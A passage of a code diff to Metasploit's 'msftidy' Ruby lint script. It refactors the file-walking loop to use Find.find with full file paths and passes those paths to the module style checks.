|
||||
end
|
||||
end
|
||||
|
||||
def run_checks(f_rel)
|
||||
tidy = Msftidy.new(f_rel)
|
||||
def run_checks(full_filepath)
|
||||
tidy = Msftidy.new(full_filepath)
|
||||
tidy.check_ref_identifiers
|
||||
tidy.check_old_keywords
|
||||
tidy.check_verbose_option
|
||||
tidy.check_badchars
|
||||
tidy.check_extname
|
||||
tidy.test_old_rubies(f_rel)
|
||||
tidy.test_old_rubies
|
||||
tidy.check_ranking
|
||||
tidy.check_disclosure_date
|
||||
tidy.check_title_casing
|
||||
@ -448,33 +463,11 @@ if dirs.length < 1
|
||||
exit(1)
|
||||
end
|
||||
|
||||
dirs.each { |dir|
|
||||
f = nil
|
||||
old_dir = nil
|
||||
|
||||
if dir
|
||||
if File.file?(dir)
|
||||
# whoa, a single file!
|
||||
f = File.basename(dir)
|
||||
dir = File.dirname(dir)
|
||||
end
|
||||
|
||||
old_dir = Dir.getwd
|
||||
Dir.chdir(dir)
|
||||
dparts = dir.split('/')
|
||||
else
|
||||
dparts = []
|
||||
dirs.each do |dir|
|
||||
Find.find(dir) do |full_filepath|
|
||||
next if full_filepath =~ /\.git[\x5c\x2f]/
|
||||
next unless File.file? full_filepath
|
||||
next unless full_filepath =~ /\.rb$/
|
||||
run_checks(full_filepath)
|
||||
end
|
||||
|
||||
# Only one file?
|
||||
if f
|
||||
run_checks(f)
|
||||
else
|
||||
# Do a recursive check of the specified directory
|
||||
Dir.glob('**/*.rb') { |f|
|
||||
run_checks(f)
|
||||
}
|
||||
end
|
||||
|
||||
Dir.chdir(old_dir)
|
||||
}
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user